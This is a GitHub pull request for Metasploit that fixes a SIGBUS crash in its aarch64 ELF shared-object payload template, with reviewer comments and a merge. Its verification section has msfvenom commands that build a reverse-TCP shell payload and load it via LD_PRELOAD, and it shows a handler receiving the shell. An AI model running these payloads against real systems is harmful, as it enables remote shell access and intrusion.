Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix aarch64 elf shared object bus error #18616

Conversation

adfoster-r7
Copy link
Contributor

closes #18513

Fixes an aarch64 elf shared object bus crash when generating a payload with msfvenom -p linux/aarch64/shell_reverse_tcp LHOST=x.x.x.x LPORT=xxxx -f elf-so -o payload.so and running LD_PRELOAD=./payload.so /bin/ls for code execution

New template generated with:

nasm data/templates/src/elf/dll/elf_dll_aarch64_template.s -f bin -o data/templates/template_aarch64_linux_dll.bin

Paired with @dwelch-r7

Verification

On an ARM machine

Create handler

ubuntu@ip-172-31-3-235:~$ msfconsole -q
[*] Starting persistent handler(s)...
use linux/aarch64/shell_reverse_tcp
setmsf6 > use linux/aarch64/shell_reverse_tcp
 lmsf6 payload(linux/aarch64/shell_reverse_tcp) > set lhost 127.0.0.1
lhost => 127.0.0.1
msf6 payload(linux/aarch64/shell_reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0
msf6 payload(linux/aarch64/shell_reverse_tcp) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444 

Generate payload and execute:

msfvenom -p linux/aarch64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf-so -o payload-with-alignment.elf
readelf -a /home/ubuntu/payload-with-alignment.elf
LD_PRELOAD=/home/ubuntu/payload-with-alignment.elf ./easy

Receive shell:

msf6 payload(linux/aarch64/shell_reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

whoami
ubuntu

Difference:

ubuntu@ip-172-31-3-235:~$ readelf -a ./payload.so
 ELF Header:
   Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
   Class:                             ELF64
   Data:                              2's complement, little endian
   Version:                           1 (current)
   OS/ABI:                            UNIX - System V
   ABI Version:                       0
   Type:                              DYN (Shared object file)
   Machine:                           AArch64
   Version:                           0x1
-   Entry point address:               0x192
+   Entry point address:               0x1a0

 ... etc etc ...
 Program Headers:
   Type           Offset             VirtAddr           PhysAddr
                  FileSiz            MemSiz              Flags  Align
   LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000
-                 0x000000000000022a 0x00000000000002c2  RWE    0x1000
+                 0x0000000000000238 0x00000000000002d0  RWE    0x1000
   DYNAMIC        0x0000000000000130 0x0000000000000130 0x0000000000000130


... etc etc ...

@adfoster-r7 adfoster-r7 force-pushed the fix-aarch64-elf-shared-object-bus-error branch from 4ba17fb to 4e106c2 Compare December 13, 2023 00:26
@@ -88,6 +88,7 @@ strtab:
db 0
db 0
strtabsz equ $ - strtab

align 16
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We haven't been able to work out definitively if this should be aligned to 4, 8, or 16 - but it definitely needs to be aligned to work

@smcintyre-r7 smcintyre-r7 self-assigned this Feb 14, 2024
Copy link
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I was able to reproduce the original error and validate that these changes fix it. I also checked the x64 equivalent to see if it had the same problem given that the headers were the same. It was unaffected by this issue leading me to think it's related to the architecture and not the ELF executable file format.

I'll get this landed as is, thanks for tracking it down and fixing it.

@smcintyre-r7 smcintyre-r7 merged commit a75013e into rapid7:master Feb 14, 2024
57 checks passed
@smcintyre-r7
Copy link
Contributor

Release Notes

This fixes an issue with the AARCH64 SO ELF template that was causing SIGBUS exceptions to be raised.

@smcintyre-r7 smcintyre-r7 added library bug rn-fix release notes fix labels Feb 16, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug library rn-fix release notes fix
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

[msfvenom] aarch64 ELF shared object bus error
2 participants